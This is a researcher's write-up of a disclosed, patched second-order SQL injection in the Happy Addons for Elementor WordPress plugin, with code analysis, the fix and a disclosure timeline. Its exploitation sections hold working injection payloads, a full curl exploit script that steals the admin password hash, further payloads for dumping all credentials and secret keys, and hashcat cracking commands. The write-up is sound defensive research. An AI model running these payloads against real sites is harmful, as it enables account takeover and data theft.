01 // Background
I keep a running list of WordPress plugins I want to audit. Most of them sit there for weeks before I get to them. Happy Addons for Elementor had been on that list for a while. 400K installs, it wraps around Elementor (which already has a complex codebase), and I noticed their changelog had been getting busier than usual around the 3.20.x releases. That combination usually means someone's been adding features fast, and fast features tend to have rough edges.
The plugin is built by weDevs and extends Elementor with extra widgets, scroll effects, and the thing that got me here: a feature called Happy Clone. One-click duplication of posts and pages, including all their meta fields. That last part is what matters.
wp_postmeta).
The key column is meta_key.
Contributors can set custom field names, so they control what lands in meta_key.
02 // Recon: the SVN diff that caught my eye
My starting point is always the same: pull the last two releases from the WordPress SVN and diff them. Changelog entries talk about features; diffs talk about code.
# Pull both versions from SVN svn checkout https://plugins.svn.wordpress.org/happy-elementor-addons/tags/3.20.4/ 3.20.4/ svn checkout https://plugins.svn.wordpress.org/happy-elementor-addons/tags/3.20.6/ 3.20.6/ # Find changed PHP files diff -rq --include="*.php" 3.20.4/ 3.20.6/ # Files 3.20.4/classes/clone-handler.php and 3.20.6/classes/clone-handler.php differ # Before reading the diff, I grep for raw SQL - my first filter grep -rn --include="*.php" \ -E "(INSERT|UPDATE|DELETE).+\\\$wpdb->" 3.20.4/ \ | grep -v "prepare\|esc_sql"
That grep returned exactly one hit:
3.20.4/classes/clone-handler.php:175: $wpdb->query( $query );
A raw $wpdb->query() with no prepare() anywhere near it.
That's the only thing I needed to see. Time to open the file.
03 // Code walkthrough
The plugin's file structure
happy-elementor-addons/ ├── plugin.php ├── classes/ │ ├── clone-handler.php ← the file we care about │ ├── ajax-handler.php │ ├── assets-manager.php │ └── ... ├── widgets/ └── extensions/
The vulnerable function: duplicate_meta_entries()
Full function from v3.20.4, lines 151-183.
The foreach is where it breaks:
/** * Copy post meta entries to cloned post */ protected static function duplicate_meta_entries( $post, $duplicated_post_id ) { global $wpdb; // SELECT uses prepare() + %d - perfectly safe $entries = $wpdb->get_results( $wpdb->prepare( "SELECT meta_key, meta_value FROM {$wpdb->postmeta} WHERE post_id = %d", $post->ID ) ); if ( is_array( $entries ) ) { $query = "INSERT INTO {$wpdb->postmeta} ( post_id, meta_key, meta_value ) VALUES "; $_records = []; foreach ( $entries as $entry ) { $_value = wp_slash( $entry->meta_value ); $_records[] = "( $duplicated_post_id, '{$entry->meta_key}', '$_value' )"; // ← no escaping on meta_key } $query .= implode( ', ', $_records ) . ';'; $wpdb->query( $query ); // ← executes raw SQL with attacker data embedded } }
$entry->meta_key is read from the database and dropped straight into
a SQL string via string interpolation. No esc_sql(). No $wpdb->prepare().
Nothing. The developer trusted it because it came from the DB, but the DB was written to by the attacker.
The full call chain
The clone is triggered by a GET request to wp-admin/admin.php?action=ha_duplicate_thing&post_id=X&_wpnonce=Y.
Here's how duplicate_thing() flows into the vulnerable function:
public static function duplicate_thing() { // Requires edit_posts - Contributor level is enough if ( ! self::can_clone() ) { return; } $nonce = isset( $_GET['_wpnonce'] ) ? $_GET['_wpnonce'] : ''; $post_id = isset( $_GET['post_id'] ) ? absint( $_GET['post_id'] ) : 0; if ( ! wp_verify_nonce( $nonce, self::ACTION ) ) { return; } $post = get_post( $post_id ); // sanitize_post() only sanitizes post columns (title, content…) // it does NOT touch post meta keys at all $post = sanitize_post( $post, 'db' ); $duplicated_post_id = self::duplicate_post( $post ); if ( ! is_wp_error( $duplicated_post_id ) ) { self::duplicate_taxonomies( $post, $duplicated_post_id ); self::duplicate_meta_entries( $post, $duplicated_post_id ); // injection fires here } wp_safe_redirect( $redirect ); die(); }
can_clone() only checks edit_posts. Contributor by default.
The absolute lowest content role on a WordPress site.
public static function can_clone() { return current_user_can( 'edit_posts' ); // Subscriber → cannot clone // Contributor → CAN clone ← attacker role // Author → CAN clone // Editor → CAN clone }
04 // Why it's second-order (and why scanners miss it)
Classic SQL injection is simple to reason about: user input hits a query in the same HTTP request. This one doesn't work like that. The injection has two completely separate phases.
The attacker creates a post and adds a custom field with a malicious name via
the WordPress admin or REST API. add_post_meta() stores it using
$wpdb->insert(), which is properly parameterized. The payload lands
in the DB without triggering anything. No alarm, no error.
The attacker clicks "Happy Clone" on their own post. The plugin calls
duplicate_meta_entries() which runs a SELECT to fetch all meta rows,
gets back the malicious key, and treats it as
trusted database data. Concatenated directly into the INSERT query.
MySQL receives the crafted INSERT, parses the injected VALUES clause, and executes the embedded subquery. The admin hash (or whatever else the attacker asked for) gets written into a meta field of the cloned post.
$wpdb->get_results() (a database read), which every
tool marks as sanitized. The tool never sees the connection between the Contributor
writing a meta_key (days or weeks earlier) and that key ending up in a raw
$wpdb->query(). The storage boundary breaks the taint chain.
You have to reason about the full data lifecycle to catch this, not just one request.
05 // Exploitation
The only prerequisite is a Contributor account. On most sites that accept guest authors, submissions, or beta testers, that's a registration form away. Even if registration is closed, a Contributor account costs a few dollars on the usual underground markets. This is a low bar.
Once you're in, the whole attack runs through normal WordPress UI - no plugins, no special tools, nothing that looks suspicious in an access log. From the outside it's just a user creating a post and clicking clone.
Understanding the injection point
For a post with one clean meta entry, the plugin builds this INSERT:
INSERT INTO wp_postmeta ( post_id, meta_key, meta_value ) VALUES ( 42, 'my_custom_field', 'hello world' );
The meta_key is inside single quotes and directly interpolated.
To escape the string context and inject SQL, I just need a single quote in the key name.
The payload: paste this as the custom field Name
pwned'), (42, 'leaked_hash', (SELECT user_pass FROM wp_users WHERE user_login='admin')), (42, 'dummy', 'x
What MySQL actually receives
INSERT INTO wp_postmeta ( post_id, meta_key, meta_value ) VALUES
(
42,
'pwned'), (42, 'leaked_hash', (SELECT user_pass FROM wp_users WHERE user_login='admin')), (42, 'dummy', 'x',
'original_value'
);
MySQL parses this as three separate row insertions:
-- row 1: filler, closes the opening values tuple ( 42, 'pwned', 'original_value' ), -- row 2: THE injection - subquery reads admin hash ( 42, 'leaked_hash', (SELECT user_pass FROM wp_users WHERE user_login='admin') ), -- row 3: closes cleanly ( 42, 'dummy', 'x' );
leaked_hash whose value is the
admin's phpass password hash. The Contributor can read it from the WP Admin custom fields panel
or via get_post_meta(). From there, it's a hashcat run away from full access.
Step-by-step exploitation
| # | Action | How |
|---|---|---|
| 1 | Login as Contributor | Any account with edit_posts cap |
| 2 | Create a new post | Posts → Add New |
| 3 | Enable Custom Fields panel | Screen Options (top-right corner) → tick "Custom Fields" |
| 4 | Add the payload as the field Name | Paste the payload in Name. Value = anything. Click Add. |
| 5 | Save the post | Publish or Save Draft. Payload is now in wp_postmeta |
| 6 | Trigger Happy Clone | Posts list → hover the post → Happy Clone |
| 7 | Read the result | Open the cloned post → Custom Fields → find leaked_hash |
| 8 | Crack offline | hashcat -m 400 hash.txt rockyou.txt |
Automated exploit - pure curl, no server access needed
All of this runs over HTTP. No wp-cli, no server access, just a cookie jar and a contributor login. The script logs in, creates the post with the payload as a custom field name, grabs the nonce from the posts list page, fires the clone, then reads the leaked hash from the cloned post's edit screen.
#!/bin/bash # CVE-2025-68999 - Happy Addons for Elementor - Second-Order SQLi # author: iwd | requires: curl, bash TARGET="${1}" WP_USER="${2}" WP_PASS="${3}" JAR=$(mktemp /tmp/cookie.XXXXXX) log() { echo -e "\033[34m[*]\033[0m $*"; } ok() { echo -e "\033[32m[+]\033[0m $*"; } fail() { echo -e "\033[31m[-]\033[0m $*"; exit 1; } # 1. authenticate log "logging in as $WP_USER..." curl -s -c "$JAR" -X POST "$TARGET/wp-login.php" \ -H "Cookie: wordpress_test_cookie=WP+Cookie+check" \ --data-urlencode "log=$WP_USER" \ --data-urlencode "pwd=$WP_PASS" \ -d "wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \ -L -o /dev/null grep -q "wordpress_logged_in" "$JAR" || fail "login failed" ok "authenticated" # 2. fetch new-post form to get nonce for saving meta log "fetching post editor..." EDITOR=$(curl -s -b "$JAR" "$TARGET/wp-admin/post-new.php") META_NONCE=$(echo "$EDITOR" | grep -oP '(?<=name="_wpnonce" value=")[a-f0-9]+' | head -1) [ -z "$META_NONCE" ] && fail "could not get nonce" # 3. create a draft post and embed the payload as meta_key # the payload breaks out of the VALUES tuple and injects a subquery PAYLOAD="x'), (0, 'leaked_hash', (SELECT user_pass FROM wp_users WHERE user_login='admin')), (0, 'z', 'z" log "saving draft with malicious meta_key..." SAVE_RESP=$(curl -s -b "$JAR" -X POST "$TARGET/wp-admin/post.php" \ -d "action=editpost&post_type=post&post_status=draft" \ -d "post_title=draft&content=x&excerpt=" \ --data-urlencode "_wpnonce=$META_NONCE" \ --data-urlencode "metakeyinput=$PAYLOAD" \ -d "metavalue=x&addmeta=Add+Custom+Field" \ -L) POST_ID=$(echo "$SAVE_RESP" | grep -oP '(?<=post=)[0-9]+' | head -1) [ -z "$POST_ID" ] && fail "could not extract post ID" ok "post $POST_ID saved, payload in wp_postmeta" # 4. get ha_duplicate_thing nonce from posts list log "fetching clone nonce..." CLONE_NONCE=$(curl -s -b "$JAR" "$TARGET/wp-admin/edit.php" \ | grep -oP "(?<=ha_duplicate_thing&post_id=${POST_ID}&_wpnonce=)[a-f0-9]+" | head -1) [ -z "$CLONE_NONCE" ] && fail "nonce not found - is Happy Clone enabled?" ok "nonce: $CLONE_NONCE" # 5. trigger the clone - injection fires inside duplicate_meta_entries() log "triggering happy clone..." curl -s -b "$JAR" -L \ "$TARGET/wp-admin/admin.php?action=ha_duplicate_thing&post_id=$POST_ID&_wpnonce=$CLONE_NONCE" \ -o /dev/null ok "clone fired" # 6. read the hash from the cloned post's custom fields log "reading leaked_hash..." CLONED_PAGE=$(curl -s -b "$JAR" "$TARGET/wp-admin/edit.php") CLONE_ID=$(echo "$CLONED_PAGE" | grep -oP 'post=\K[0-9]+' \ | awk -v pid="$POST_ID" '$1 != pid {print; exit}') HASH=$(curl -s -b "$JAR" "$TARGET/wp-admin/post.php?post=$CLONE_ID&action=edit" \ | grep -A1 'leaked_hash' | grep -oP 'value="\K[^"]+' | head -1) if [ -n "$HASH" ]; then ok "admin hash: $HASH" echo "$HASH" > hash.txt ok "saved to hash.txt -> hashcat -m 400 hash.txt rockyou.txt" else fail "hash not found in cloned post (ID $CLONE_ID)" fi rm -f "$JAR"
PoC video
06 // Going further: full database read
The payload above only grabs the admin hash. Since the injection lands inside a multi-row INSERT, you can keep stacking subqueries. A few worth trying:
pwned'), (42, 'all_creds', (SELECT GROUP_CONCAT(user_login,':',user_pass SEPARATOR '|') FROM wp_users)), (42, 'x', 'x
pwned'), (42, 'auth_key', (SELECT option_value FROM wp_options WHERE option_name='auth_key')), (42, 'x', 'x
# WordPress uses phpass - hashcat mode 400 hashcat -m 400 hash.txt /usr/share/wordlists/rockyou.txt --force # or john john --wordlist=/usr/share/wordlists/rockyou.txt --format=phpass hash.txt
| Data | Impact |
|---|---|
| Password hashes | Offline crack → admin login → full site control |
| Secret keys / salts | Forge persistent auth cookies without ever knowing the password |
| Any wp_options row | API keys, payment tokens, third-party credentials often stored there |
| Private post content | Draft posts, private pages, unpublished content readable via subquery |
| wp_users rows | Email addresses, registered user list, display names |
07 // The patch
The fix in 3.20.6 is clean. The entire hand-rolled bulk INSERT is gone.
Replaced with update_post_meta(), which calls $wpdb->update()
with full parameterization internally. Eight lines become three.
update_post_meta($id, $key, $value) calls $wpdb->update()
under the hood, which uses %s placeholders for both meta_key
and meta_value. The key is now always a bound parameter. It can never
break out of a string context, regardless of what the attacker stored.
08 // Disclosure timeline
SVN diff flagged changes in clone-handler.php. Manual review confirmed second-order SQLi. PoC developed and verified on isolated local instance.
Submitted via Patchstack with full technical write-up and working PoC. Patchstack contacted weDevs directly.
weDevs released the fix. The bulk INSERT was replaced with update_post_meta().
Patchstack released the public advisory. CVSS 8.5 HIGH assigned.
09 // Takeaways
$wpdb->get_results() clean. If user-controlled data was stored
without sanitizing the key earlier, it becomes a second-order injection vehicle the moment
it's concatenated into any query. You have to think across requests, not just within one.
$wpdb->query() first
Any call not paired with prepare() on the same SQL string is a candidate.
Narrow it with | grep -v "prepare\|esc_sql" to kill false positives fast.
ref // References
- GitHub: CVE-2025-68999-POC (poc.py)
- Patchstack: CVE-2025-68999 Advisory
- Vulnerable source: clone-handler.php v3.20.4 (SVN)
- Patched source: clone-handler.php v3.20.6 (SVN)
- WordPress Docs: $wpdb->prepare()
- OWASP: SQL Injection
- My Talk: Hunting 0-Days in the WordPress Ecosystem
All testing performed locally using @wordpress/env Docker environment.
Vulnerability was responsibly disclosed through Patchstack Alliance before this publication.